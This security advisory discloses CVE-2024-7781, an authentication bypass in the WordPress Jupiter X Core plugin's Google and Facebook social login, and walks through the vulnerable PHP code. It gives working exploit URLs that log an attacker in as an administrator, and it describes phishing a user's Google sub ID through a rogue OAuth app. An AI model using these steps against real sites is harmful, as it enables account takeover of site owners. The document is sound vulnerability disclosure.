Jupiter X Core Plugin <= 4.7.5 Authentication Bypass (CVE-2024-7781)

Thu 26 September 2024 by Geo in Exploit.

Abstract

During a security assessment of a Wordpress website, the jupiterx-core plugin was identified. At the time of this writing, this plugin has 178k downloads on ThemeForest and is the 8th best sold item on this marketplace. The latest version was running on our target, so we decided to dig a little deeper into this plugin.

Result

An authentication bypass vulnerability was found within the Social Login feature. An attacker can get authenticated with the same rights as the target user (admin, etc.) if that user logged in at least one time in the past using Google or Facebook. Even when the Social Login feature is disabled, this vulnerability can still be exploited.

Social Login

The jupiterx-core plugin offers a widget called Social Login to authenticate using Google, Facebook or X (formerly Twitter). When this option is enabled, users and administrators can log in and register using these methods:

Social login feature

When a user logs in using one of these methods, the Ajax_Handler::handle_frontend method is called:

<?php

class Ajax_Handler {
...
    public function __construct() {
        add_action( 'wp_ajax_raven_form_frontend', [ $this, 'handle_frontend' ] );
        add_action( 'wp_ajax_nopriv_raven_form_frontend', [ $this, 'handle_frontend' ] );
        add_action( 'wp_ajax_raven_form_editor', [ $this, 'handle_editor' ] );
    }

    public function handle_frontend() {
        $post_id      = filter_input( INPUT_POST, 'post_id' );
        $form_id      = filter_input( INPUT_POST, 'form_id' );
        $this->record = $_POST; // @codingStandardsIgnoreLine
        ...
        $form_meta              = Elementor::$instance->documents->get( $post_id )->get_elements_data();
        $this->form             = Module::find_element_recursive( $form_meta, $form_id );
        $this->form['settings'] = Elementor::$instance->elements_manager->create_element_instance( $this->form )->get_settings_for_display();
        ...
        $this
            ->clear_step_fields()
            ->set_custom_messages()
            ->validate_form()
            ->validate_fields()
            ->upload_files()
            ->run_actions()
            ->send_response();
    }

In the previous code, the current form settings are retrieved by calling the Elementor get_settings_for_display method. These settings depend on how the form was configured by the administrator. They are retrieved from the form_id HTTP parameter. After calling several methods, the run_actions method is called:

<?php

    private function run_actions() {
        $actions        = $this->form['settings']['actions'];
        $hidden_actions = '';
        ...
        foreach ( $actions as $action ) {
            $class_name = Module::$action_types[ $action ];

            $class_name::run( $this );
        }

        return $this;
    }

For this widget, an action called social_login is present. The Social_Login::run method is executed:

<?php

namespace JupiterX_Core\Raven\Modules\Forms\Actions;

class Social_Login extends Action_Base {

    public function __construct() {
        new Google();
        new Facebook();
        new Twitter();
    }

    ...
    public static function run( $ajax_handler ) {
        $social      = $ajax_handler->record['social_network'];
        $social_ajax = '\JupiterX_Core\Raven\Modules\Forms\Classes\Social_Login_Handler\\' . $social;
        $network     = new $social_ajax();

        $network->ajax_handler( $ajax_handler );
    }

Google authentication

When a user chooses to connect using Google, an authentication popup appears. The user validates the information that will be shared with the application and connects. The following request is then sent to the Wordpress website with the token obtained from Google:

POST https://supertestsite.com/wordpress/wp-admin/admin-ajax.php

token=eyJhbGciOi...&
action=raven_form_frontend&
post_id=12&
form_id=1c90fcd&
social_network=Google

From the Social_Login::run method, a Google object is created and the ajax_handler method is called. This methods queries the Google API with the transmitted token to retrieve information about the user. The application checks that the email was verified and retrieves the email, sub and aud elements from the API response. It also checks that the transmitted token was generated for the same client id:

<?php

namespace JupiterX_Core\Raven\Modules\Forms\Classes\Social_Login_Handler;

class Google {
...
    public function ajax_handler( $ajax_handler ) {
        $token    = filter_input( INPUT_POST, 'token', FILTER_SANITIZE_STRING );
        $url      = 'https://oauth2.googleapis.com/tokeninfo?id_token=' . $token;
        $response = wp_remote_get( $url );

        if ( ! is_array( $response ) || is_wp_error( $response ) ) {
            wp_send_json_error( __( 'Google API Error', 'jupiterx-core' ) );
        }

        $body        = $response['body'];
        $information = json_decode( $body, true );

        if ( 'true' !== $information['email_verified'] ) {
            wp_send_json_error( __( 'We could not get user email from google api', 'jupiterx-core' ) );
        }

        $email            = $information['email'];
        $user_google_id   = $information['sub'];
        $return_client_id = $information['aud'];
        $user_client_id   = get_option( 'elementor_raven_google_client_id' );

        if ( $user_client_id !== $return_client_id ) {
            wp_send_json_error( __( 'Verify process has failed.', 'jupiterx-core' ) );
        }
        ...

The JSON response from the Google API looks like this:

{
  "iss": "https://accounts.google.com",
  "azp": "1234987819200.apps.googleusercontent.com",
  "aud": "1234987819200.apps.googleusercontent.com",
  "sub": "10769150350006150715113082367",
  "at_hash": "HK6E_P6Dh8Y93mRNtsDB1Q",
  "hd": "example.com",
  "email": "jsmith@example.com",
  "email_verified": "true",
  "iat": 1353601026,
  "exp": 1353604926,
  "nonce": "0394852-3190485-2490358"
}

If the email address is already registered in the database, then the associated user ID is retrieved with the email_exists method. Otherwise, a new user is created with the subscriber role. The user's metadata key social-media-user-google-id is updated with the sub element value by calling the set_user_google_id method:

<?php

    public function ajax_handler( $ajax_handler ) {
        ...
        $user_id = email_exists( $email );

        // Email is not registered.
        if ( false === $user_id ) {
            $user_id = $this->create_user( $email );
        }

        $set_meta         = $this->set_user_google_id( $user_id, $user_google_id );
        $unique_login_url = $this->create_unique_link_to_login_google_user( $user_google_id );
        $login            = [
            'login_url' => $unique_login_url,
        ];

        if ( ! empty( $ajax_handler->form['settings']['redirect_url']['url'] ) ) {
            $login['redirect_url'] = $ajax_handler->form['settings']['redirect_url']['url'];
        }

        wp_send_json_success( $login );
    }

    private function set_user_google_id( $user_id, $user_google_id ) {
        update_user_meta( $user_id, 'social-media-user-google-id', $user_google_id );
    }

Vulnerability

The problem lies within the google_log_user_in method which is called everytime a Google object is created. Even when the Social Login feature is disabled, this method is still executed. It skips the Google authentication process and directly retrieves the associated user by searching for the sub element passed in the jupiterx-google-social-login HTTP parameter and present in the social-media-user-google-id user's meta key:

<?php

class Google {
    public function __construct() {
        add_action( 'init', [ $this, 'google_log_user_in' ] );
    }
    ...
    public function google_log_user_in() {
        if ( ! isset( $_GET['jupiterx-google-social-login'] ) ) { // phpcs:ignore
            return;
        }

        $value = filter_input( INPUT_GET, 'jupiterx-google-social-login', FILTER_SANITIZE_STRING );
        $user  = get_users(
            [
                'meta_key'    => 'social-media-user-google-id', // phpcs:ignore
                'meta_value'  => $value, // phpcs:ignore
                'number'      => 1,
                'count_total' => false,
            ]
        );
        $id    = $user[0]->ID;
        wp_clear_auth_cookie();
        wp_set_current_user( $id ); // Set the current user detail
        wp_set_auth_cookie( $id ); // Set auth details in cookie

        if ( isset( $_GET['redirect'] ) ) { // phpcs:ignore
            $redirect = filter_input( INPUT_GET, 'redirect', FILTER_SANITIZE_URL );
            wp_redirect( $redirect ); // phpcs:ignore
            exit();
        }

        wp_redirect( site_url() ); // phpcs:ignore
        exit();
    }

From the Google documentation, the sub element is defined as follows:

An identifier for the user, unique among all Google accounts and never reused. A Google account can have multiple email addresses at different points in time, but the sub value is never changed. Use sub within your application as the unique-identifier key for the user. Maximum length of 255 case-sensitive ASCII characters.

This means Google always returns the same sub identifier for an account, no matter the application. If an attacker knows the sub identifier associated with a Google account that is already registered on the Wordpress website and logged in at least one time using Google before, he can authenticate. If the target user is an administrator, the attacker will be logged with the same rights and will be able to achieve code execution.

WP_Meta_Query

Now let's dig a little deeper and check if knowing the sub identifier associated with a target user is really necessary to exploit this vulnerability. When you pass the jupiterx-google-social-login HTTP parameter with an empty value, you would expect the previous call to the Wordpress get_users core function to add a condition to the generated SQL query, just like when the value is not empty.

The condition would look like wp_usermeta.meta_key = 'social-media-user-google-id' AND wp_usermeta.meta_value = '' and this will return no result because there is always a value associated with that meta key. But this is not what happens.

A closer look at the Wordpress WP_Meta_Query::parse_query_vars core method reveals that the wp_usermeta.meta_value condition is actually omitted when it has an empty value:

<?php

class WP_Meta_Query {
    ...
    public function parse_query_vars( $qv ) {
        $meta_query = array();
        ...
        // WP_Query sets 'meta_value' = '' by default.
        if ( isset( $qv['meta_value'] ) && '' !== $qv['meta_value'] && ( ! is_array( $qv['meta_value'] ) || $qv['meta_value'] ) ) {
            $primary_meta_query['value'] = $qv['meta_value'];
        }

This means the final SQL query will only look for a meta_key set to social-media-user-google-id. The meta_value won't be checked and the first user who has this meta_key will be returned. There is no need to specify the sub identifier to exploit the vulnerability anymore. The call to get_users generates this query:

SELECT wp_users.ID FROM wp_users INNER JOIN wp_usermeta ON ( wp_users.ID = wp_usermeta.user_id )
WHERE 1=1 AND ( wp_usermeta.meta_key = 'social-media-user-google-id') ORDER BY user_login ASC LIMIT 0, 1

Google exploitation

An attacker can simply log in by accessing the URL https://supertestsite.com/wordpress/?jupiterx-google-social-login=. Because the target user returned is an administrator in our example, the attacker can access the dashboard:

If you want to target a specific user and know the sub identifier associated to it, you can specify it by sending jupiterx-google-social-login=<sub>. The sub identifier associated to the target user can be obtained in different ways.

If the target user logged into another website or application using Google and the attacker gets access to this website database (data breach, hacking etc.), the sub identifier can be retrieved. Another method would be to create an application and send the Google authentication URL https://accounts.google.com/o/oauth2/... to the target user. If the user logs in, the sub identifier will be obtained by the attacker.

Facebook authentication

The Facebook authentication feature has the same problem. The problem is with the facebook_log_user_in method which is called every time a Facebook object is created. It skips the Facebook authentication process and directly retrieves the associated user by searching for the user's ID passed from the jupiterx-facebook-social-login HTTP parameter and present in the social-media-user-facebook-id user's meta key:

<?php

namespace JupiterX_Core\Raven\Modules\Forms\Classes\Social_Login_Handler;

class Facebook {

    public function __construct() {
        add_action( 'elementor/admin/after_create_settings/' . Settings::PAGE_ID, [ $this, 'register_admin_fields' ], 20 );
        add_action( 'init', [ $this, 'facebook_log_user_in' ] );
    }

    public function facebook_log_user_in() {
        if ( ! isset( $_GET['jupiterx-facebook-social-login'] ) ) { // phpcs:ignore
            return;
        }

        $value = filter_input( INPUT_GET, 'jupiterx-facebook-social-login', FILTER_SANITIZE_STRING );
        $user  = get_users(
            [
                'meta_key'    => 'social-media-user-facebook-id', // phpcs:ignore
                'meta_value'  => $value, // phpcs:ignore
                'number'      => 1,
                'count_total' => false,
            ]
        );
        $id    = $user[0]->ID;

        wp_clear_auth_cookie();
        wp_set_current_user( $id ); // Set the current user detail
        wp_set_auth_cookie( $id ); // Set auth details in cookie

        if ( isset( $_GET['redirect'] ) ) { // phpcs:ignore
            $redirect = filter_input( INPUT_GET, 'redirect' );
            wp_redirect( $redirect ); // phpcs:ignore
            exit();
        }

        wp_redirect( site_url() ); // phpcs:ignore
        exit();
    }

Facebook exploitation

An attacker can simply log in by accessing the URL https://supertestsite.com/wordpress/?jupiterx-facebook-social-login=. Because the target user returned is an administrator in our example, the attacker can access the dashboard:

If you want to target a specific user and happen to know its associated Facebook user ID, you can specify it by sending jupiterx-facebook-social-login=<id>. However, this task would be more complicated than what we've seen with Google, as the user's ID returned by the Facebook API is unique per app ID.

Affected versions

A first patch has been introduced in v4.7.5, which prevents the transmission of jupiterx-google-social-login and jupiterx-facebook-social-login with an empty value. This means in versions <= 4.6.9, the sub identifier is not required to exploit the vulnerability, but in v4.7.5, knowing this identifier is necessary to carry out the exploit. A second patch has been deployed in v4.7.8 to correctly fix the vulnerability.

Timeline